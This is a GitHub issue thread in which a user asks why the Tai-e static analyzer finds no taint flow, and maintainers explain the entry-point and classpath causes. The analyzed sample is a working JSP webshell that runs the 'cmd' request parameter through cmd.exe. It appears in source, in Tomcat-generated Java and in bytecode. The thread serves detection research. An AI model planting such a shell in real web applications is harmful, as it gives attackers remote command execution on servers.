Tai-e did not detect any taint flows
Closed this issue · 6 comments
Overall Description
When I used Tai-e for taint analysis on jsp files, Tai-e did not detect any taint flows.
I'm a beginner in taint analysis, I can't figure out the reason.
any help would be greatly appreciated.
Current Behavior
Tai-e did not detect any taint flows.
Expected Behavior
Tai-e is expected to detect a taint flow in the java file.
Tai-e Version
tai-e-all-0.2.2.jar
Tai-e Arguments
java -jar tai-e-all-0.2.2.jar
--input-classes=org.apache.jsp.shell_jsp,jakarta.servlet.ServletRequestWrapper,jakarta.servlet.ServletRequest
-a "pta=cs:2-type;taint-config:/home/abc/taie_tools/taint-config-jsp.yml"
-cp /home/abc/tomcat_tools/apache-tomcat-10.1.9/work/Catalina/localhost/ROOT/:/home/abc/.m2/repository/javax/servlet/javax.servlet-api/3.1.0/:/home/abc/.m2/repository/:/home/abc/tomcat_tools/apache-tomcat-10.1.9/lib/jasper.jar:/home/abc/tomcat_tools/apache-tomcat-10.1.9/lib/jakarta.servlet-api-6.0.0.jar:/home/abc/tomcat_tools/apache-tomcat-10.1.9/lib/jakarta.servlet.jsp-api-3.1.1.jar:/home/abc/tomcat_tools/apache-tomcat-10.1.9/lib/jakarta.el-api-5.0.1.jar:/home/abc/.m2/repository/org/apache/tomcat/tomcat-api/10.1.19/tomcat-api-10.1.19.jar
-pp=True
JDK Version
JDK 17
System Environment
CentOS 7.8
Additional Information
The content of taint-config-jsp.yml is below:
sources:
- { kind: call, method: "<jakarta.servlet.ServletRequest: java.lang.String getParameter(java.lang.String)>", index: result }
- { kind: call, method: "<jakarta.servlet.http.HttpServletRequest: java.lang.String getParameter(java.lang.String)>", index: result }
sinks:
- { method: "<java.lang.Runtime: java.lang.Process exec(java.lang.String)>", index: 0 }
transfers:
- { method: "<java.lang.String: java.lang.String concat(java.lang.String)>", from: base, to: result }
- { method: "<java.lang.String: java.lang.String concat(java.lang.String)>", from: 0, to: result }
- { method: "<java.lang.String: char[] toCharArray()>", from: base, to: result }
- { method: "<java.lang.String: void <init>(char[])>", from: 0, to: base }
- { method: "<java.lang.String: void getChars(int,int,char[],int)>", from: base, to: 2 }
- { method: "<java.lang.StringBuffer: java.lang.StringBuffer append(java.lang.String)>", from: 0, to: base }
- { method: "<java.lang.StringBuffer: java.lang.StringBuffer append(java.lang.Object)>", from: 0, to: base }
- { method: "<java.lang.StringBuffer: java.lang.String toString()>", from: base, to: result }
- { method: "<java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.String)>", from: 0, to: base }
- { method: "<java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.Object)>", from: 0, to: base }
- { method: "<java.lang.StringBuilder: java.lang.String toString()>", from: base, to: result }
The output of Tai-e is shown below:
Tai-e starts ...
Output directory: /home/abc/taie_tools/output
Writing options to /home/abc/taie_tools/output/options.yml
WARNING: sun.reflect.Reflection.getCallerClass is not supported. This will impact performance.
Writing log to /home/abc/taie_tools/output/tai-e.log
Writing analysis plan to /home/abc/taie_tools/output/tai-e-plan.yml
WorldBuilder starts ...
Warning: main class was not given!
10732 classes with 108850 methods in the world
WorldBuilder finishes, elapsed time: 3.98s
pta starts ...
Loading taint config from /home/abc/taie_tools/taint-config-jsp.yml
Cannot find source method '<jakarta.servlet.http.HttpServletRequest: java.lang.String getParameter(java.lang.String)>'
TaintConfig:
sources:
CallSource{<jakarta.servlet.ServletRequest: java.lang.String getParameter(java.lang.String)>/result(java.lang.String)}
sinks:
<java.lang.Runtime: java.lang.Process exec(java.lang.String)>/0
transfers:
<java.lang.String: java.lang.String concat(java.lang.String)>: base -> result(java.lang.String)
<java.lang.String: java.lang.String concat(java.lang.String)>: 0 -> result(java.lang.String)
<java.lang.String: char[] toCharArray()>: base -> result(char[])
<java.lang.String: void <init>(char[])>: 0 -> base(java.lang.String)
<java.lang.String: void getChars(int,int,char[],int)>: base -> 2(char[])
<java.lang.StringBuffer: java.lang.StringBuffer append(java.lang.String)>: 0 -> base(java.lang.StringBuffer)
<java.lang.StringBuffer: java.lang.StringBuffer append(java.lang.Object)>: 0 -> base(java.lang.StringBuffer)
<java.lang.StringBuffer: java.lang.String toString()>: base -> result(java.lang.String)
<java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.String)>: 0 -> base(java.lang.StringBuilder)
<java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.Object)>: 0 -> base(java.lang.StringBuilder)
<java.lang.StringBuilder: java.lang.String toString()>: base -> result(java.lang.String)
[Pointer analysis] elapsed time: 66.79s
Detected 0 taint flow(s):
TFGDumper starts ...
Source nodes:
Sink nodes:
Dumping /home/abc/taie_tools/output/taint-flow-graph.dot
TFGDumper finishes, elapsed time: 1.13s
-------------- Pointer analysis statistics: --------------
#var pointers: 13,7520 (insens) / 111,3371 (sens)
#objects: 1,1700 (insens) / 2,8814 (sens)
#var points-to: 645,8989 (insens) / 6214,9618 (sens)
#static field points-to: 7775 (sens)
#instance field points-to: 314,1843 (sens)
#array points-to: 84,7341 (sens)
#reachable methods: 1,5343 (insens) / 16,4739 (sens)
#call graph edges: 8,0342 (insens) / 252,9481 (sens)
----------------------------------------
pta finishes, elapsed time: 73.89s
Tai-e finishes, elapsed time: 78.03s
Taint analysis is performed on shell_jsp.jsp:
<%@ page import="java.io.DataInputStream,java.io.InputStream,java.io.OutputStream" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
out.println("Command: " + cmd + "\n<BR>");
Process p = Runtime.getRuntime().exec("cmd.exe /c " + cmd);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while (disr != null) {
out.println(disr);
disr = dis.readLine();
}
}
%>
I use Tomcat to convert shell_jsp.jsp into java file.
The generated java file is below:
/*
* Generated by the Jasper component of Apache Tomcat
* Version: Apache Tomcat/10.1.9
* Generated at: 2024-04-03 14:53:30 UTC
* Note: The last modified time of this file was set to
* the last modified time of the source file after
* generation to assist with modification tracking.
*/
package org.apache.jsp;
import jakarta.servlet.*;
import jakarta.servlet.http.*;
import jakarta.servlet.jsp.*;
import java.io.DataInputStream;
import java.io.InputStream;
import java.io.OutputStream;
public final class shell_jsp extends org.apache.jasper.runtime.HttpJspBase
implements org.apache.jasper.runtime.JspSourceDependent,
org.apache.jasper.runtime.JspSourceImports,
org.apache.jasper.runtime.JspSourceDirectives {
private static final jakarta.servlet.jsp.JspFactory _jspxFactory =
jakarta.servlet.jsp.JspFactory.getDefaultFactory();
private static java.util.Map<java.lang.String,java.lang.Long> _jspx_dependants;
private static final java.util.Set<java.lang.String> _jspx_imports_packages;
private static final java.util.Set<java.lang.String> _jspx_imports_classes;
static {
_jspx_imports_packages = new java.util.HashSet<>();
_jspx_imports_packages.add("jakarta.servlet");
_jspx_imports_packages.add("jakarta.servlet.http");
_jspx_imports_packages.add("jakarta.servlet.jsp");
_jspx_imports_classes = new java.util.HashSet<>();
_jspx_imports_classes.add("java.io.OutputStream");
_jspx_imports_classes.add("java.io.DataInputStream");
_jspx_imports_classes.add("java.io.InputStream");
}
private volatile jakarta.el.ExpressionFactory _el_expressionfactory;
private volatile org.apache.tomcat.InstanceManager _jsp_instancemanager;
public java.util.Map<java.lang.String,java.lang.Long> getDependants() {
return _jspx_dependants;
}
public java.util.Set<java.lang.String> getPackageImports() {
return _jspx_imports_packages;
}
public java.util.Set<java.lang.String> getClassImports() {
return _jspx_imports_classes;
}
public boolean getErrorOnELNotFound() {
return false;
}
public jakarta.el.ExpressionFactory _jsp_getExpressionFactory() {
if (_el_expressionfactory == null) {
synchronized (this) {
if (_el_expressionfactory == null) {
_el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
}
}
}
return _el_expressionfactory;
}
public org.apache.tomcat.InstanceManager _jsp_getInstanceManager() {
if (_jsp_instancemanager == null) {
synchronized (this) {
if (_jsp_instancemanager == null) {
_jsp_instancemanager = org.apache.jasper.runtime.InstanceManagerFactory.getInstanceManager(getServletConfig());
}
}
}
return _jsp_instancemanager;
}
public void _jspInit() {
}
public void _jspDestroy() {
}
public void _jspService(final jakarta.servlet.http.HttpServletRequest request, final jakarta.servlet.http.HttpServletResponse response)
throws java.io.IOException, jakarta.servlet.ServletException {
if (!jakarta.servlet.DispatcherType.ERROR.equals(request.getDispatcherType())) {
final java.lang.String _jspx_method = request.getMethod();
if ("OPTIONS".equals(_jspx_method)) {
response.setHeader("Allow","GET, HEAD, POST, OPTIONS");
return;
}
if (!"GET".equals(_jspx_method) && !"POST".equals(_jspx_method) && !"HEAD".equals(_jspx_method)) {
response.setHeader("Allow","GET, HEAD, POST, OPTIONS");
response.sendError(HttpServletResponse.SC_METHOD_NOT_ALLOWED, "JSPs only permit GET, POST or HEAD. Jasper also permits OPTIONS");
return;
}
}
final jakarta.servlet.jsp.PageContext pageContext;
jakarta.servlet.http.HttpSession session = null;
final jakarta.servlet.ServletContext application;
final jakarta.servlet.ServletConfig config;
jakarta.servlet.jsp.JspWriter out = null;
final java.lang.Object page = this;
jakarta.servlet.jsp.JspWriter _jspx_out = null;
jakarta.servlet.jsp.PageContext _jspx_page_context = null;
try {
response.setContentType("text/html");
pageContext = _jspxFactory.getPageContext(this, request, response,
null, true, 8192, true);
_jspx_page_context = pageContext;
application = pageContext.getServletContext();
config = pageContext.getServletConfig();
session = pageContext.getSession();
out = pageContext.getOut();
_jspx_out = out;
out.write('\n');
String cmd = request.getParameter("cmd");
if (cmd != null) {
out.println("Command: " + cmd + "\n<BR>");
Process p = Runtime.getRuntime().exec("cmd.exe /c " + cmd);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while (disr != null) {
out.println(disr);
disr = dis.readLine();
}
}
out.write('\n');
} catch (java.lang.Throwable t) {
if (!(t instanceof jakarta.servlet.jsp.SkipPageException)){
out = _jspx_out;
if (out != null && out.getBufferSize() != 0)
try {
if (response.isCommitted()) {
out.flush();
} else {
out.clearBuffer();
}
} catch (java.io.IOException e) {}
if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
else throw new ServletException(t);
}
} finally {
_jspxFactory.releasePageContext(_jspx_page_context);
}
}
}
Tomcat, JBoss and other java web frameworks mainly use a dynamic way to process .jsp
file. They compile .jsp
to class file in memory and then loading & executing them.
Tai-e cannot automaticly generate .class
file from .jsp
file. Tai-e will just ignore .jsp
in --input-classes
. I suggest
- compiling
.jsp
to.class
file. See this article. - adding the compiled
.class
file to--input-classes
of Tai-e's argument
Thank you very much for your detailed instruction.
I did as you suggested, but it still did not work.
I generated .class
file from .jsp
file, and the name of the compiled class is org.apache.jsp.shell_jsp
, which is added to the input-classes
argument of Tai-e.
Moreover, the compiled .class
file (org.zip) is in path /home/abc/tomcat_tools/apache-tomcat-10.1.9/work/Catalina/localhost/ROOT/
, which is also added to the cp
argument of Tai-e.
The arguments of Tai-e stay the same as those in the initial issue I posted:
java -jar tai-e-all-0.2.2.jar
--input-classes=org.apache.jsp.shell_jsp,jakarta.servlet.ServletRequestWrapper,jakarta.servlet.ServletRequest
-a "pta=cs:2-type;taint-config:/home/abc/taie_tools/taint-config-jsp.yml"
-cp /home/abc/tomcat_tools/apache-tomcat-10.1.9/work/Catalina/localhost/ROOT/:/home/abc/.m2/repository/javax/servlet/javax.servlet-api/3.1.0/:/home/abc/.m2/repository/:/home/abc/tomcat_tools/apache-tomcat-10.1.9/lib/jasper.jar:/home/abc/tomcat_tools/apache-tomcat-10.1.9/lib/jakarta.servlet-api-6.0.0.jar:/home/abc/tomcat_tools/apache-tomcat-10.1.9/lib/jakarta.servlet.jsp-api-3.1.1.jar:/home/abc/tomcat_tools/apache-tomcat-10.1.9/lib/jakarta.el-api-5.0.1.jar:/home/abc/.m2/repository/org/apache/tomcat/tomcat-api/10.1.19/tomcat-api-10.1.19.jar
-pp=True
Tai-e still did not detect any taint flows. Any help will be greatly appreciated.
I cannot figure out exactly why Tai-e cannot detect this taint flow. However, I notice an output line of Tai-e
Cannot find source method '<jakarta.servlet.http.HttpServletRequest: java.lang.String getParameter(java.lang.String)>'
The <jakarta.servlet.http.HttpServletRequest: java.lang.String getParameter(java.lang.String)>
is your real taint source:
162: invokeinterface #200, 2 // InterfaceMethod jakarta/servlet/http/HttpServletRequest.getParameter:(Ljava/lang/String;)Ljava/lang/String;
167: astore 7
169: aload 7
171: ifnull 279
174: aload 4
176: new #204 // class java/lang/StringBuilder
179: dup
180: ldc #206 // String Command:
182: invokespecial #208 // Method java/lang/StringBuilder."<init>":(Ljava/lang/String;)V
185: aload 7
187: invokevirtual #210 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
190: ldc #214 // String \n<BR>
192: invokevirtual #210 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
195: invokevirtual #216 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
198: invokevirtual #219 // Method jakarta/servlet/jsp/JspWriter.println:(Ljava/lang/String;)V
201: invokestatic #222 // Method java/lang/Runtime.getRuntime:()Ljava/lang/Runtime;
204: new #204 // class java/lang/StringBuilder
207: dup
208: ldc #228 // String cmd.exe /c
210: invokespecial #208 // Method java/lang/StringBuilder."<init>":(Ljava/lang/String;)V
213: aload 7
215: invokevirtual #210 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
218: invokevirtual #216 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
221: invokevirtual #230 // Method java/lang/Runtime.exec:(Ljava/lang/String;)Ljava/lang/Process;
224: astore 8
226: aload 8
228: invokevirtual #234 // Method java/lang/Process.getOutputStream:()Ljava/io/OutputStream;
Can you ensure the file jakarta.servlet.http.HttpServletRequest
has been included in your -cp
dirs?
Thank you very much for your quick reply.
The jar
file containing class jakarta.servlet.http.HttpServletRequest
is jakarta.servlet-api-6.0.0.jar
, but I did NOT include jakarta.servlet-api-6.0.0.jar
in my -cp
dirs.
Thanks for your reminder, now I included jakarta.servlet-api-6.0.0.jar
in my -cp
dirs.
However, Tai-e's output stayed the same and still did not detect any taint flows.
Could you please help me check if there are any steps I did wrong? Thank you very much.
More information
I also reorganized the locations of class
files and jar
files to make it clear:
I put the class
file of the webshell in the path /home/abc/jsp_taint_analysis/input_class_files/
,
[abc@xyz jsp_taint_analysis]$ ls -lh input_class_files/
total 0
drwxr-x---. 3 abc abc 20 Apr 2 20:49 org
and also put all the jar
dependencies in the path /home/abc/jsp_taint_analysis/input_jars/
.
[abc@xyz jsp_taint_analysis]$ ls -lh input_jars/
total 1.1M
-rw-r--r--. 1 abc abc 87K May 27 14:20 jakarta.el-api-5.0.1.jar
-rw-r--r--. 1 abc abc 340K May 27 14:19 jakarta.servlet-api-6.0.0.jar
-rw-r--r--. 1 abc abc 70K May 27 14:20 jakarta.servlet.jsp-api-3.1.1.jar
-rw-r-----. 1 abc abc 557K May 27 14:19 jasper.jar
-rw-rw-r--. 1 abc abc 12K May 27 14:20 tomcat-api-10.1.19.jar
input_class_files
, input_jars
together with taint-config-jsp.yml
are in the same path, namely, jsp_taint_analysis
(jsp_taint_analysis.zip) .
I also changed the path of class
files and jar
files in Tai-e arguments correspondingly.
Tai-e's arguments
Now Tai-e's aruguments are as below:
java -jar tai-e-all-0.2.2.jar
--input-classes=org.apache.jsp.shell_jsp,jakarta.servlet.ServletRequestWrapper,jakarta.servlet.ServletRequest
-a "pta=cs:2-type;taint-config:/home/abc/jsp_taint_analysis/taint-config-jsp.yml"
-cp /home/abc/jsp_taint_analysis/input_class_files/:/home/abc/jsp_taint_analysis/input_jars/jasper.jar:/home/abc/jsp_taint_analysis/input_jars/jakarta.el-api-5.0.1.jar:/home/abc/jsp_taint_analysis/input_jars/jakarta.servlet-api-6.0.0.jar:/home/abc/jsp_taint_analysis/input_jars/jakarta.servlet.jsp-api-3.1.1.jar:/home/abc/jsp_taint_analysis/input_jars/tomcat-api-10.1.19.jar
-pp=True
Tai-e's output
Tai-e's output stayed the same and still did not detect any taint flows:
Tai-e starts ...
Output directory: /home/abc/jsp_taint_analysis/output
Writing options to /home/abc/jsp_taint_analysis/output/options.yml
WARNING: sun.reflect.Reflection.getCallerClass is not supported. This will impact performance.
Writing log to /home/abc/jsp_taint_analysis/output/tai-e.log
Writing analysis plan to /home/abc/jsp_taint_analysis/output/tai-e-plan.yml
WorldBuilder starts ...
Warning: main class was not given!
10732 classes with 108850 methods in the world
WorldBuilder finishes, elapsed time: 3.56s
pta starts ...
Loading taint config from /home/abc/jsp_taint_analysis/taint-config-jsp.yml
Cannot find source method '<jakarta.servlet.http.HttpServletRequest: java.lang.String getParameter(java.lang.String)>'
TaintConfig:
sources:
CallSource{<jakarta.servlet.ServletRequest: java.lang.String getParameter(java.lang.String)>/result(java.lang.String)}
sinks:
<java.lang.Runtime: java.lang.Process exec(java.lang.String)>/0
transfers:
<java.lang.String: java.lang.String concat(java.lang.String)>: base -> result(java.lang.String)
<java.lang.String: java.lang.String concat(java.lang.String)>: 0 -> result(java.lang.String)
<java.lang.String: char[] toCharArray()>: base -> result(char[])
<java.lang.String: void <init>(char[])>: 0 -> base(java.lang.String)
<java.lang.String: void getChars(int,int,char[],int)>: base -> 2(char[])
<java.lang.StringBuffer: java.lang.StringBuffer append(java.lang.String)>: 0 -> base(java.lang.StringBuffer)
<java.lang.StringBuffer: java.lang.StringBuffer append(java.lang.Object)>: 0 -> base(java.lang.StringBuffer)
<java.lang.StringBuffer: java.lang.String toString()>: base -> result(java.lang.String)
<java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.String)>: 0 -> base(java.lang.StringBuilder)
<java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.Object)>: 0 -> base(java.lang.StringBuilder)
<java.lang.StringBuilder: java.lang.String toString()>: base -> result(java.lang.String)
[Pointer analysis] elapsed time: 61.92s
Detected 0 taint flow(s):
TFGDumper starts ...
Source nodes:
Sink nodes:
Dumping /home/abc/jsp_taint_analysis/output/taint-flow-graph.dot
TFGDumper finishes, elapsed time: 0.94s
-------------- Pointer analysis statistics: --------------
#var pointers: 13,7520 (insens) / 111,3371 (sens)
#objects: 1,1700 (insens) / 2,8814 (sens)
#var points-to: 645,8989 (insens) / 6214,9618 (sens)
#static field points-to: 7775 (sens)
#instance field points-to: 314,1843 (sens)
#array points-to: 84,7341 (sens)
#reachable methods: 1,5343 (insens) / 16,4739 (sens)
#call graph edges: 8,0342 (insens) / 252,9481 (sens)
----------------------------------------
pta finishes, elapsed time: 68.67s
Tai-e finishes, elapsed time: 72.39s
Sorry for giving some misleading information before. The getParameter
method of jakarta.servlet.http.HttpServletRequest
is inherit from jakarta.servlet.ServletRequest
, so <jakarta.servlet.http.HttpServletRequest: java.lang.String getParameter(java.lang.String)>
cannot be resolved, and it's ok.
The real problem here is that Tai-e can only set entrypoint to main()
method, and your org.apache.jsp.shell_jsp
will not be analyzed by just adding to --input-classes
args (this just bringorg.apache.jsp.shell_jsp
class to possible analysis scope of Tai-e).
You can solve this problem by injecting a new plugin to Tai-e. See here and the blog.
Thank you very much for your instruction. I will try injecting a new plugin as you suggested.